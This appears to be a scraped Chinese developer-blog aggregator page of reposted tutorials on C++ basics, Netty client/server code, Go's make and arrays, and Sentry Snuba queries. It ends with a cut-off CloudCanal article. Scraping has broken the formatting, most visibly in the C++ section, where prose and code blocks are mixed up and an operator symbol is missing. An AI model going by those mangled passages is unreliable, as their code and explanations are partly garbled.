引用作为函数参数传递可以简化指针操作,直接修改实参,引用必须初始化绑定一个变量,不能是常量,但是可以使用常量引用初始化(const)

1
2
c++复制代码int &ref = 10       // 错误
const int &ref = 10 // 可以

const

const主要有以下作用:

  1. 修饰变量,说明该变量不可以被改变
  2. 修饰指针,分为指向常量的指针(指针常量pointer to const)和自身是常量的指针(常量指针,const pointer),const修饰后面的类型
  3. 修饰引用,指向常量的引用(reference to const),用于形参类型,即避免了拷贝,又避免了函数对值的修改
  4. 修饰成员函数,说明该成员函数内不能修改成员变量
1
c++复制代码const int bufSize = 512; // 输入缓冲区大小 把bufSize定义成了一个常量,任何试图为bufSize赋值的行为都将引发错误

当以编译时初始化的方式定义一个const对象时,编译器将在编译过程中把用到该变量的地方都替换成对应的值。也就是说,编译器会找到代码中所有用到bufSize的地方,然后用512替换。

const对象一旦创建后其值就不能再改变,所以const对象必须初始化,默认状态下,const对象仅在文件内有效。

const 与引用

可以把引用绑定到const对象上,就像绑定到其他对象上一样,称之为对常量的引用(reference to const)。与普通引用不同的是,对常量的引用不能被用作修改它所绑定的对象:

1
2
3
4
c++复制代码const int ci = 1024;
const int &r1 = ci; // 正确:引用及其对应的对象都是常量
r1 = 42; // 错误:r1是对常量的引用,不能修改常量
int &r2 = ci; // 错误:试图让一个非常量引用指向一个常量对象,需要用const修饰

const与指针

指针常量:通常意义上的,指向常量的指针,**const int *p** 。

常量指针:指针是常量,**int *const p**。

1
2
3
4
5
c++复制代码char greeting[] = "Hello";
char *p1 = greeting; // 指针变量,指向字符数组变量
const char *p2 = greeting; // 指针变量,指向字符数组常量(const 后面是 char,说明指向的字符(char)不可改变)
char *const p3 = greeting; // 自身是常量的指针,指向字符数组变量(const 后面是 p3,说明 p3 指针自身不可改变)
const char *const p4 = greeting; // 自身是常量的指针,指向字符数组常量

数组

声明数组: **type arrayName [ arraySize ];** ,C++中必须指定类型与大小,同时大小必须为常量表达式。

1
c++复制代码double balance[10];

可以使用大括号直接初始化数组:

1
2
c++复制代码double balance[5] = {1000.0, 2.0, 3.4, 7.0, 50.0};
double balance[] = {1000.0, 2.0, 3.4, 7.0, 50.0}; // 数组大小为初始化时元素的个数

数组不允许拷贝和赋值:

1
2
3
c++复制代码int a[] = {1,2,3};
int a2[] = a; // error 不允许拷贝
a2 = a; // error 不允许赋值

在很多情况下数组名称就是指针(数组首地址),可以直接当成指针使用:

1
2
c++复制代码int a[] = {1,2,3};
int *p = a;

声明多维数组,数组访问使用下标:

1
2
3
4
5
6
c++复制代码int threedim[5][10][4];
int a[3][4] = {
{0, 1, 2, 3} ,
{4, 5, 6, 7} ,
{8, 9, 10, 11}
};

自定义数据结构struct

从最基本的层面理解,数据结构是把一组相关的数据元素组织起来然后使用它们的策略和方法,没有初始值的成员将被默认初始化,对象使用**.访问成员,对象指针使用*ptr.或ptr→**

1
2
3
4
5
6
7
8
9
10
c++复制代码struct Sales_data {
std::string bookNo = "1";
unsigned units_sold = 0;
double revenue = 0.0;
};
int main() {
Sales_data accum, trans;
Sales_data *salesptr = &trans;
std::cout << accum.bookNo << salesptr->bookNo << (*salesptr).bookNo << std::endl;
}

运算符

  • 算术运算符: + - * / % ++ -— ,加减乘除,取余
  • 逻辑运算符: && || !,与或非
  • 关系运算符:> < >= <= == !=

成员访问运算符:对象类型直接使用点运算符,对象类型指针使用→ 或者(*ptr).

++i 与 i++

1
2
c++复制代码++i // 先i+1,后赋值i
i++ //先赋值i,后i+1

三元表达式

也叫条件运算符:? : ,可以嵌套使用

1
2
c++复制代码cond ? expr1:expr2
int i = (1 < 2) ? 3 : 4

位运算符

  • 左移:左移乘2,<<
  • 右移:右移除2,>>
  • 与:&
  • 异或:^
  • 或:|
  • 求反:
    1
    2
    3
    4
    5
    6
    7


    sizeof运算符
    ---------


    获取类型或表达式结果类型的大小,`sizeof`运算符返回一条表达式或一个类型名所占的字节数。返回一个`size_t`(`size_t`是一种机器相关的无符号类型,它被设计的足够大,以便能表示内存中任意对象的大小)的类型。`sizeof`有两种形式:

c++复制代码sizeof (type)
sizeof expr

1
2
3
4
5
6
7

* sizeof 对数组,得到整个数组所占空间大小
* sizeof 对引用,得到引用对象所占空间大小
* sizeof 对指针,得到指针本身所占空间大小


**因为执行`sizeof`运算能得到整个数组的大小,所以可以用数组的大小除以单个元素的大小得到数组中元素的个数,`sizeof`的返回值是一个常量表达式,所以可以用其结果声明数组的维度。**

c++复制代码constexpr size_t sz= sizeof(ia)/sizeof(*ia)
int arr2[sz];

1
2
3
4
5
6
7

语句
==


if
--

c++复制代码if(boolean_expression 1){
}else if( boolean_expression 2){
}else {
}

1
2
3
4
5
6

switch
------


**`switch`****遇到第一个****`break`****或到末尾才会结束,所以注意不要漏写****`break`,switch 语句中的 expression 必须是一个整型或枚举类型,或者是一个 class 类型,其中 class 有一个单一的转换函数将其转换为整型或枚举类型。**

c++复制代码switch(expression){
case constant-expression :
statement(s);
break;
// 可以有任意数量的 case 语句
default :
statement(s);
}
char grade = ‘D’;
switch(grade){
case ‘A’ :
cout << “A” << endl;
break;
case ‘B’ :
case ‘C’ :
cout << “C” << endl;
break;
default :
cout << “default” << endl;
}

1
2
3

while
-----

c++复制代码while(condition){
statement(s);
}

1
2
3

for
---

c++复制代码for ( init; condition; increment ){
statement(s);
}

1
2

也常配合`auto`使用执行`foreach`循环:

c++复制代码int my_array[5] = {1, 2, 3, 4, 5};
for (auto &x : my_array) {
x *= 2;
cout << x << endl;
}

1
2
3
4
5
6

do while
--------


**与**`while`**不同的是表达式至少被执行一次后才进行循环判断。**

c++复制代码do{
statement(s);
}while( condition );


break & continue
----------------


`break`跳出循环,`continue`立即从循环判断处重新开始。



**本文转载自:** [掘金](https://juejin.cn/post/7034832575579455519)

*[开发者博客 – 和开发相关的 这里全都有](https://dev.newban.cn/)*

『Netty核心』基础知识

发表于 2021-11-26

「这是我参与11月更文挑战的第26天,活动详情查看:2021最后一次更文挑战」。

点赞再看,养成习惯👏👏

Netty概述

NIO 的类库和 API 繁杂, 使用麻烦: 需要熟练掌握 Selector、 ServerSocketChannel、 SocketChannel、 ByteBuffer等。

开发工作量和难度都非常大: 例如客户端面临断线重连、 网络闪断、心跳处理、半包读写、 网络拥塞和异常流的处理等等。

Netty 对 JDK 自带的 NIO 的 API 进行了良好的封装,解决了上述问题。且 Netty 拥有高性能、 吞吐量更高,延迟更低,减少资源消耗,最小化不必要的内存复制等优点。

Netty 现在都在用的是4.x,5.x版本已经废弃,Netty 4.x 需要JDK 6以上版本支持。

Netty使用场景

  1. 互联网行业:在分布式系统中,各个节点之间需要远程服务调用,高性能的 RPC 框架必不可少,Netty 作为异步高性能的通信框架,往往作为基础通信组件被这些 RPC 框架使用。典型的应用有:阿里分布式服务框架 Dubbo 的 RPC 框架使用 Dubbo 协议进行节点间通信,Dubbo 协议默认使用 Netty 作为基础通信组件,用于实现。各进程节点之间的内部通信。Rocketmq 底层也是用的 Netty 作为基础通信组件。
  2. 游戏行业:无论是手游服务端还是大型的网络游戏,Java 语言得到了越来越广泛的应用。Netty 作为高性能的基础通信组件,它本身提供了 TCP/UDP 和 HTTP 协议栈。
  3. 大数据领域:经典的 Hadoop 的高性能通信和序列化组件 Avro 的 RPC 框架,默认采用 Netty 进行跨界点通信,它的 Netty Service 基于 Netty 框架二次封装实现。

netty相关开源项目:netty.io/wiki/relate…

Netty通讯示例

1、引入maven依赖

1
2
3
4
5
xml复制代码<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-all</artifactId>
<version>4.1.35.Final</version>
</dependency>

2、服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
java复制代码public class NettyService {

public static void main(String[] args) throws InterruptedException {
//创建两个线程组bossGroup和workGroup,含有的子线程NioEventLoop的个数默认为cpu核数的两倍
//bossGroup只是处理连接请求,真正的和客户端业务处理,会交给workGroup完成
EventLoopGroup bossGroup = new NioEventLoopGroup(1);
EventLoopGroup workerGroup = new NioEventLoopGroup();
try{
//创建服务器端的启动对象
ServerBootstrap bootstrap = new ServerBootstrap();
//使用链式编程来配置参数
bootstrap.group(bossGroup,workerGroup) //设置两个线程组
.channel(NioServerSocketChannel.class) //使用NioServerSocketChannel作为服务器的通道实现
//初始化服务器连接队列大小,服务器处理客户端连接请求是顺序处理的,所以同一时间只能处理一个客户端连接。
//多个客户端同时来的时候,服务端将不能处理的客户端连接请求放在队列中等待处理
.option(ChannelOption.SO_BACKLOG,1024)
.childHandler(new ChannelInitializer<SocketChannel>() { //创建通道初始化对象,设置初始化参数
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
//对workGroup的SocketChannel设置处理器
socketChannel.pipeline().addLast(new NettyServerHandler());
}
});
System.out.println("netty server start。。");
//绑定一个端口并且同步,生成了一个ChannelFuture异步对象,通过isDone()等方法可以判断异步事件的执行情况
//启动服务器(并绑定端口),bind是异步操作,sync方法是等待异步操作执行完毕
ChannelFuture cf = bootstrap.bind(8888).sync();
//给cf注册监听器,监听我们关心的事件
/*cf.addListener(new ChannelFutureListener() {
@Override
public void operationComplete(ChannelFuture channelFuture) throws Exception {
if (channelFuture.isSuccess()){
System.out.println("监听端口9000成功");
}else{
System.out.println("监听端口9000失败");
}
}
});*/
//对通道关闭进行监听,closeFuture是异步操作,监听通道关闭
//通过sync方法同步等待通道关闭处理完毕,这里会阻塞等待通道关闭完成
cf.channel().closeFuture().sync();
}finally {
bossGroup.shutdownGracefully();
workerGroup.shutdownGracefully();
}
}
}

自定以HandlerAdapter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
java复制代码public class NettyServerHandler extends ChannelInboundHandlerAdapter {

/**
* 读取客户端发送的数据
*
* @param ctx 上下文对象,含有通道channel,管道pipeline
* @param msg 就是客户端发送的数据
* @throws Exception
*/
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
System.out.println("服务器读取线程 " + Thread.currentThread().getName());
// Channel channel = ctx.channel();
// ChannelPipeline pipeline = ctx.pipeline(); //本质是一个双向链接,出站入站
//将 msg 转成一个ByteBuf,类似NIO的ByteBuffer
ByteBuf buf = (ByteBuf)msg;
System.out.println("客户端发送消息是:" + buf.toString(CharsetUtil.UTF_8));
super.channelRead(ctx, msg);
}

/**
* 数据读取完毕处理方法
* @param ctx
* @throws Exception
*/
@Override
public void channelReadComplete(ChannelHandlerContext ctx) throws Exception {
ByteBuf buf = Unpooled.copiedBuffer("HelloClient", CharsetUtil.UTF_8);
ctx.writeAndFlush(buf);
}

/**
* 处理异常,一般是需要关闭通道
* @param ctx
* @param cause
* @throws Exception
*/
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
ctx.close();
}
}

3、客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
java复制代码public class NettyClient {

public static void main(String[] args) throws InterruptedException {
//客户端需要一个事件循环组
EventLoopGroup group = new NioEventLoopGroup();
try{
//创建客户端启动对象
//注意客户端使用的不是ServerBootstrap而是Bootstrap
Bootstrap bootstrap = new Bootstrap();
//设置相关参数
bootstrap.group(group) //设置线程组
.channel(NioSocketChannel.class) //使用NioSocketChannel作为客户端的通道实现
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
//加入处理器
socketChannel.pipeline().addLast(new NettyClientHandler());
}
});
System.out.println("netty client start");
//启动客户端去连接服务器
ChannelFuture channelFuture = bootstrap.connect("127.0.0.1",8888).sync();
//对关闭通道进行监听
channelFuture.channel().closeFuture().sync();
}finally {
group.shutdownGracefully();
}
}
}

自定以HandlerAdapter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
java复制代码public class NettyClientHandler extends ChannelInboundHandlerAdapter {

@Override
public void channelActive(ChannelHandlerContext ctx) throws Exception {
ByteBuf buf = Unpooled.copiedBuffer("HelloServer", CharsetUtil.UTF_8);
ctx.writeAndFlush(buf);
}

@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
ByteBuf buf = (ByteBuf) msg;
System.out.println("收到服务端的消息:" + buf.toString(CharsetUtil.UTF_8));
System.out.println("服务端的地址: " + ctx.channel().remoteAddress());
}

@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
cause.printStackTrace();
ctx.close();
}
}

Netty线程模型

image.png

模型讲解:

  1. Netty 抽象出两组线程池 BossGroup 和 WorkerGroup,BossGroup 专门负责接收客户端的连接,WorkerGroup 专门负责网络的读写
  2. BossGroup 和 WorkerGroup 类型都是NioEventLoopGroup
  3. NioEventLoopGroup 相当于一个事件循环线程组, 这个组中含有多个事件循环线程, 每一个事件循环线程是 NioEventLoop
  4. 每个 NioEventLoop 都有一个 selector,用于监听注册在其上的 socketChannel 的网络通讯
  5. 每个 Boss NioEventLoop 线程内部循环执行的步骤有 3 步
    • 处理 accept 事件,与 client 建立连接,生成 NioSocketChannel
    • 将 NioSocketChannel 注册到某个 worker NIOEventLoop 上的 selector
    • 处理任务队列的任务,即 runAllTasks
  6. 每个 worker NIOEventLoop 线程循环执行的步骤
    • 轮询注册到自己selector上的所有NioSocketChannel 的read,write事件
    • 处理 I/O 事件, 即 read , write 事件, 在对应 NioSocketChannel 处理业务
    • runAllTasks 处理任务队列 TaskQueue 的任务 ,一些耗时的业务处理一般可以放入TaskQueue中慢慢处理,这样不影响数据在 pipeline 中的流动处理
  7. 每个 worker NIOEventLoop 处理 NioSocketChannel 业务时,会使用 pipeline (管道),管道中维护了很多 handler 处理器用来处理 channel 中的数据

Netty模块组件

【Bootstrap、ServerBootstrap】

Bootstrap 意思是引导,一个 Netty 应用通常由一个 Bootstrap 开始,主要作用是配置整个 Netty 程序,串联各个组件,Netty 中 Bootstrap 类是客户端程序的启动引导类,ServerBootstrap 是服务端启动引导类。

【Future、ChannelFuture】

正如前面介绍,在 Netty 中所有的 IO 操作都是异步的,不能立刻得知消息是否被正确处理。

但是可以过一会等它执行完成或者直接注册一个监听,具体的实现就是通过 Future 和 ChannelFutures,他们可以注册一个监听,当操作执行成功或失败时监听会自动触发注册的监听事件。

【Channel】

Netty 网络通信的组件,能够用于执行网络 I/O 操作。Channel 为用户提供:

  1. 当前网络连接的通道的状态(例如是否打开?是否已连接?)
  2. 网络连接的配置参数 (例如接收缓冲区大小)
  3. 提供异步的网络 I/O 操作(如建立连接,读写,绑定端口),异步调用意味着任何 I/O 调用都将立即返回,并且不保证在调用结束时所请求的 I/O 操作已完成。
  4. 调用立即返回一个 ChannelFuture 实例,通过注册监听器到 ChannelFuture 上,可以 I/O 操作成功、失败或取消时回调通知调用方。
  5. 支持关联 I/O 操作与对应的处理程序。

不同协议、不同的阻塞类型的连接都有不同的 Channel 类型与之对应。

下面是一些常用的 Channel 类型:

  • NioSocketChannel,异步的客户端 TCP Socket 连接。
  • NioServerSocketChannel,异步的服务器端 TCP Socket 连接。
  • NioDatagramChannel,异步的 UDP 连接。
  • NioSctpChannel,异步的客户端 Sctp 连接。
  • NioSctpServerChannel,异步的 Sctp 服务器端连接。

这些通道涵盖了 UDP 和 TCP 网络 IO 以及文件 IO。

【Selector】

Netty 基于 Selector 对象实现 I/O 多路复用,通过 Selector 一个线程可以监听多个连接的 Channel 事件。

当向一个 Selector 中注册 Channel 后,Selector 内部的机制就可以自动不断地查询(Select) 这些注册的 Channel 是否有已就绪的 I/O 事件(例如可读,可写,网络连接完成等),这样程序就可以很简单地使用一个线程高效地管理多个 Channel 。

【NioEventLoop】

NioEventLoop 中维护了一个线程和任务队列,支持异步提交执行任务,线程启动时会调用 NioEventLoop 的 run 方法,执行 I/O 任务和非 I/O 任务:

I/O 任务,即 selectionKey 中 ready 的事件,如 accept、connect、read、write 等,由 processSelectedKeys 方法触发。

非 IO 任务,添加到 taskQueue 中的任务,如 register0、bind0 等任务,由 runAllTasks 方法触发。

【NioEventLoopGroup】

NioEventLoopGroup,主要管理 eventLoop 的生命周期,可以理解为一个线程池,内部维护了一组线程,每个线程(NioEventLoop)负责处理多个 Channel 上的事件,而一个 Channel 只对应于一个线程。

【ChannelHandler】

ChannelHandler 是一个接口,处理 I/O 事件或拦截 I/O 操作,并将其转发到其 ChannelPipeline(业务处理链)中的下一个处理程序。

ChannelHandler 本身并没有提供很多方法,因为这个接口有许多的方法需要实现,方便使用期间,可以继承它的子类:

ChannelInboundHandler 用于处理入站 I/O 事件。 ChannelOutboundHandler 用于处理出站 I/O 操作。

或者使用以下适配器类:

ChannelInboundHandlerAdapter 用于处理入站 I/O 事件。 ChannelOutboundHandlerAdapter 用于处理出站 I/O 操作。

【ChannelHandlerContext】

保存 Channel 相关的所有上下文信息,同时关联一个 ChannelHandler 对象。

【ChannelPipline】

保存 ChannelHandler 的 List,用于处理或拦截 Channel 的入站事件和出站操作。

ChannelPipeline 实现了一种高级形式的拦截过滤器模式,使用户可以完全控制事件的处理方式,以及 Channel 中各个的 ChannelHandler 如何相互交互。

在 Netty 中每个 Channel 都有且仅有一个 ChannelPipeline 与之对应,它们的组成关系如下:

一个 Channel 包含了一个 ChannelPipeline,而 ChannelPipeline 中又维护了一个由 ChannelHandlerContext 组成的双向链表,并且每个 ChannelHandlerContext 中又关联着一个 ChannelHandler。

read事件(入站事件)和write事件(出站事件)在一个双向链表中,入站事件会从链表 head 往后传递到最后一个入站的 handler,出站事件会从链表 tail 往前传递到最前一个出站的 handler,两种类型的 handler 互不干扰。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Effective Go 数据(二)

发表于 2021-11-26

这是我参与11月更文挑战的第25天,活动详情查看:2021最后一次更文挑战

使用make分配地址

回到分配。 内置函数 make(T, args) 的用途不同于 new(T)。 它只创建切片、映射和通道,并返回一个类型为 T(不是 *T)的初始化(非零)值。 区别的原因是这三种类型,必须在使用前进行初始化的。 例如,切片是一个三项描述符,包含指向数据(在数组内)、长度和容量的指针,并且在这些项被初始化之前,切片为 nil。 对于切片、映射和通道,make 会初始化内部数据结构并准备要使用的值。

1
go复制代码make([]int, 10, 100)

分配一个包含 100 个整数的数组,然后创建一个长度为 10、容量为 100 的切片结构,指向数组的前 10 个元素。 (制作切片时,容量可以省略;有关更多信息,请参阅切片部分。)相比之下,new([]int) 返回指向新分配的、归零的切片结构的指针,即指向 零切片值。

这些示例说明了 new 和 make 之间的区别。

1
2
3
4
5
6
7
8
9
go复制代码var p *[]int = new([]int)       // allocates slice structure; *p == nil; 几乎没有用
var v []int = make([]int, 100) // the slice v now refers to a new array of 100 ints
​
// 没必要的写得复杂:
var p *[]int = new([]int)
*p = make([]int, 100, 100)
​
// 理想写法:
v := make([]int, 100)

请记住, make 仅适用于map、切片和通道,并且不返回指针。 使用 new 获得显式指针分配或显式获取变量的地址。

Arrays

数组在规划内存的详细布局时很有用,有时可以帮助避免分配,但主要是它们是切片的构建块,这一节其实是为了为下一节主题奠定基础,这里有一些关于数组的词。

Go 和 C 中数组的工作方式有很大的不同。在 Go 中,

  • 数组是值。 将一个数组分配给另一个会复制所有元素。
  • 特别是,如果你将一个数组传递给一个函数,它会收到一个数组的副本,而不是一个指向它的指针。
  • 数组的大小是其类型的一部分。 [10]int 和 [20]int 类型是不同的。

值属性可能很有用,但代价也很昂贵; 如果你想要类似 C 的行为和效率,你可以传递一个指向数组的指针。

1
2
3
4
5
6
7
8
9
go复制代码func Sum(a *[3]float64) (sum float64) {
  for _, v := range *a {
      sum += v
  }
  return
}
​
array := [...]float64{7.0, 8.5, 9.1}
x := Sum(&array) // Note the explicit address-of operator

但即使是这种风格也不是理想 Go的使用方式。 请改用切片。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Sentry 监控 - Snuba 数据中台架构(编写和测试

发表于 2021-11-26

系列

  • 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本
  • 快速使用 Docker 上手 Sentry-CLI - 30 秒上手 Source Maps
  • Sentry For React 完整接入详解
  • Sentry For Vue 完整接入详解
  • Sentry-CLI 使用详解
  • Sentry Web 性能监控 - Web Vitals
  • Sentry Web 性能监控 - Metrics
  • Sentry Web 性能监控 - Trends
  • Sentry Web 前端监控 - 最佳实践(官方教程)
  • Sentry 后端监控 - 最佳实践(官方教程)
  • Sentry 监控 - Discover 大数据查询分析引擎
  • Sentry 监控 - Dashboards 数据可视化大屏
  • Sentry 监控 - Environments 区分不同部署环境的事件数据
  • Sentry 监控 - Security Policy 安全策略报告
  • Sentry 监控 - Search 搜索查询实战
  • Sentry 监控 - Alerts 告警
  • Sentry 监控 - Distributed Tracing 分布式跟踪
  • Sentry 监控 - 面向全栈开发人员的分布式跟踪 101 系列教程(一)
  • Sentry 监控 - Snuba 数据中台架构简介(Kafka+Clickhouse)
  • Sentry 监控 - Snuba 数据中台架构(Data Model 简介)
  • Sentry 监控 - Snuba 数据中台架构(Query Processing 简介)
  • Sentry 官方 JavaScript SDK 简介与调试指南

本指南将引导您完成编写和测试 Snuba 查询的过程。

探索 Snuba 数据模型

为了构建 Snuba 查询,第一步是能够知道您应该查询哪个数据集,您应该选择哪些实体以及每个实体的 schema 是什么。

有关数据集和实体的介绍,请参阅 Snuba 数据模型部分。

  • getsentry.github.io/snuba/archi…

数据集可以在这个模块中找到。每个数据集都是一个引用实体的类。

  • github.com/getsentry/s…

系统中的实体列表可以通过 snuba entity 命令找到:

1
sh复制代码snuba entities list

会返回如下内容:

1
2
3
4
5
6
7
8
sh复制代码Declared Entities:
discover
errors
events
groups
groupassignee
groupedmessage
.....

一旦我们找到了我们感兴趣的实体,我们就需要了解在该实体上声明的 schema 和 relationship。 相同的命令描述了一个实体:

1
sh复制代码snuba entities describe groupedmessage

会返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
python复制代码Entity groupedmessage
Entity schema
--------------------------------
offset UInt64
record_deleted UInt8
project_id UInt64
id UInt64
status Nullable(UInt8)
last_seen Nullable(DateTime)
first_seen Nullable(DateTime)
active_at Nullable(DateTime)
first_release_id Nullable(UInt64)

Relationships
--------------------------------
groups
--------------------------------
Destination: events
Type: LEFT
Join keys
--------------------------------
project_id = LEFT.project_id
id = LEFT.group_id

它提供列的列表及其类型以及与数据模型中定义的其他实体的关系。

准备对 Snuba 的查询

Snuba 查询语言称为 SnQL。它记录在 SnQL 查询语言部分。所以本节不赘述。

  • getsentry.github.io/snuba/langu…

有一个 python sdk 可用于构建 Snuba 查询,它可以用于任何 Python 客户端,包括 Sentry。 snuba-sdk。

  • github.com/getsentry/s…

查询表示为一个 Query 对象,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python复制代码query = Query(
dataset="discover",
match=Entity("events"),
select=[
Column("title"),
Function("uniq", [Column("event_id")], "uniq_events"),
],
groupby=[Column("title")],
where=[
Condition(Column("timestamp"), Op.GT, datetime.datetime(2021, 1, 1)),
Condition(Column("project_id"), Op.IN, Function("tuple", [1, 2, 3])),
],
limit=Limit(10),
offset=Offset(0),
granularity=Granularity(3600),
)

有关如何构建查询的更多详细信息,请参见 sdk 文档。

  • getsentry.github.io/snuba-sdk/

一旦查询对象准备就绪,它就可以发送到 Snuba。

使用 Sentry 向 Snuba 发送查询

查询 Snuba 时最常见的用例是通过 Sentry。本节说明如何在 Sentry 代码库中构建查询并将其发送到 Snuba。

Sentry 导入了上述的 Snuba sdk。这是构建 Snuba 查询的推荐方法。

一旦创建了 Query 对象,Sentry 提供的 Snuba client api 就可以并且应该用于将查询发送到 Snuba。

api 在这个模块中。 它负责缓存、重试并允许批量查询。

  • github.com/getsentry/s…

该方法返回一个字典,其中包含响应中的数据和其他元数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
json复制代码{
"data": [
{
"title": "very bad",
"uniq_events": 2
}
],
"meta": [
{
"name": "title",
"type": "String"
},
{
"name": "uniq_events",
"type": "UInt64"
}
],
"timing": {
... details ...
}
}

data 部分是一个列表,每行一个字典。meta 包含响应中包含的列的列表,其数据类型由 Clickhouse 推断。

通过 Web UI 发送测试查询

Snuba 具有可用于发送查询的最小 Web UI。
您可以在本地运行 Snuba,
并且可以通过 http://localhost:1218/[DATASET NAME]/snql 访问 Web UI。

snubaUI.png

应该在 query 属性中提供 SnQL 查询,并且响应的结构与上一节中讨论的相同。

通过 curl 发送查询

Web UI 仅将 payload 作为 POST 发送。因此,使用 curl 或任何其他 HTTP 客户端可以实现相同的结果。

请求和响应格式

请求格式在上面截图中可见:

  • query 包含字符串形式的 SnQL 查询。
  • dataset 是数据集名称(如果尚未在 url 中指定。
  • debug 使 Snuba 在响应中提供详尽的统计信息,包括 Clickhouse 查询。
  • consistent 强制 Clickhouse 查询以单线程模式执行,并且如果 Clickhouse 表被复制,它将强制 Snuba 始终命中同一个节点。可以保证顺序一致性,因为这是消费者默认写入的节点。这是通过设置为 in_order 的负载平衡 Clickhouse 属性实现的。
    • clickhouse.tech/docs/en/ope…
  • turbo 为 TURBO_SAMPLE_RATE Snuba 设置中定义的查询设置采样率。它还可以防止 Snuba 将 FINAL 模式应用于 Clickhouse 查询,以防在替换后需要保证正确的结果。

Snuba 可以使用 4 个 http code 进行响应。200 表示成功的查询,如果查询无法正确验证,则为 400。500 通常意味着与 Clickhouse 相关的问题(从超时到连接问题),尽管 Snuba 仍然无法提前识别一些无效查询。Snuba 有一个内部速率限制器,所以 429 也是一个可能的返回码。

成功查询的响应格式与上面讨论的相同。完整版本如下所示(在 debug 模式下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
json复制代码{
"data": [],
"meta": [
{
"name": "title",
"type": "String"
}
],
"timing": {
"timestamp": 1621038379,
"duration_ms": 95,
"marks_ms": {
"cache_get": 1,
"cache_set": 4,
"execute": 39,
"get_configs": 0,
"prepare_query": 10,
"rate_limit": 4,
"validate_schema": 34
}
},
"stats": {
"clickhouse_table": "errors_local",
"final": false,
"referrer": "http://localhost:1218/events/snql",
"sample": null,
"project_rate": 0,
"project_concurrent": 1,
"global_rate": 0,
"global_concurrent": 1,
"consistent": false,
"result_rows": 0,
"result_cols": 1,
"query_id": "f09f3f9e1c632f395792c6a4bfe7c4fe"
},
"sql": "SELECT (title AS _snuba_title) FROM errors_local PREWHERE equals((project_id AS _snuba_project_id), 1) WHERE equals(deleted, 0) AND greaterOrEquals((timestamp AS _snuba_timestamp), toDateTime('2021-05-01T00:00:00', 'Universal')) AND less(_snuba_timestamp, toDateTime('2021-05-11T00:00:00', 'Universal')) LIMIT 1000 OFFSET 0"
}

timing 部分包含查询的时间戳和持续时间。有趣的是,持续时间被分解为几个阶段:marks_ms。

sql 元素是 Clickhouse 查询。

stats 字典包含以下 key

  • clickhouse_table 是 snuba 在查询处理过程中选取的表。
  • final 表示 Snuba 是否决定向 Clickhouse 发送 FINAL 查询,这会迫使 Clickhouse 立即应用相关的合并(Merge Tree)。细节
    • clickhouse.tech/docs/en/sql…
  • sample 是应用的采样率。
  • project_rate 是查询时 Snuba 每秒收到的特定项目的请求数。
  • project_concurrent 是查询时涉及特定项目的并发查询数。
  • global_rate 与 project_rate 相同,但不专注于一个项目。
  • global_concurrent 与 project_concurrent 相同,但不专注于一个项目。
  • query_id 是此查询的唯一标识符。

查询验证问题通常采用以下格式:

1
2
3
4
5
6
json复制代码{
"error": {
"type": "invalid_query",
"message": "missing >= condition on column timestamp for entity events"
}
}

Clickhouse 错误将具有类似的结构。type 字段将显示 clickhouse,该消息将包含有关异常的详细信息。与查询验证错误相反,在 Clickhouse 错误的情况下,实际执行了查询,因此存在为成功查询描述的所有时间和统计信息。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

【用户分享】CloudCanal助力万店掌MySQL同步ES

发表于 2021-11-26

作者介绍

蒋鹏程,苏州万店掌软件技术有限公司

前言

CloudCanal 近期提供了自定义代码构建宽表能力,我们第一时间参与了该特性内测,并已落地生产稳定运行。开发流程详见官方文档 《CloudCanal自定义代码实时加工》。

能力特点包括:

  • 灵活,支持反查打宽表,特定逻辑数据清洗,对账,告警等场景
  • 调试方便,通过任务参数配置自动打开 debug 端口,对接 IDE 调试
  • SDK 接口清晰,提供丰富的上下文信息,方便数据逻辑开发

本文基于我们业务中的实际需求(MySQL -> ElasticSearch 宽表构建),梳理一下具体的开发调试流程,希望对大家有所帮助。

使用案例

案例一:商品表和SKU宽表行构建

业务背景

在对接用户的小程序进行商品搜索时,需要如下几个能力

  1. 基于分词的全文索引
  2. 同时搜索不同表中的字段

需要全文索引的初衷是希望用户搜索商品的关键词就可以搜索到想要的商品。这在传统数据库中一般支持的都比较弱甚至不支持,因此需要借助 ES 分词器搜索。

而第二个能力主要是由于业务数据通常分布在多个表中,但是 ES 并不能像需要关系型数据库那样联表查询,CloudCanal 自定义代码的能力则整号解决了我们多表关联的痛点。

业务流程

在使用 CloudCanal 总体的流程变得十分清晰,在 CloudCanal 层面通过订阅表结合自定义代码中的反查数据库以及数据处理,可以直接生成可以写到对端 ES 的宽表行。
17a3934d-3cb8-4682-9dc0-12d08ab69c8e-image.png

表结构

准备的 mysql 表结构如下,一个商品会对应多个 SKU,我们在对端创建好索引,其中的 sku_detail 保存一个商品关联的 SKU 信息,是一个典型的一对多场景。

ES mapping 中的字段对应主表 tb_enterprise_goods 中字段,额外新增的 sku_detail 字段就是我们需要从子表 tb_enterprise_sku 中同步的数据。

1
2
3
4
5
6
7
8
sql复制代码## 商品表
CREATE TABLE `tb_enterprise_goods` (
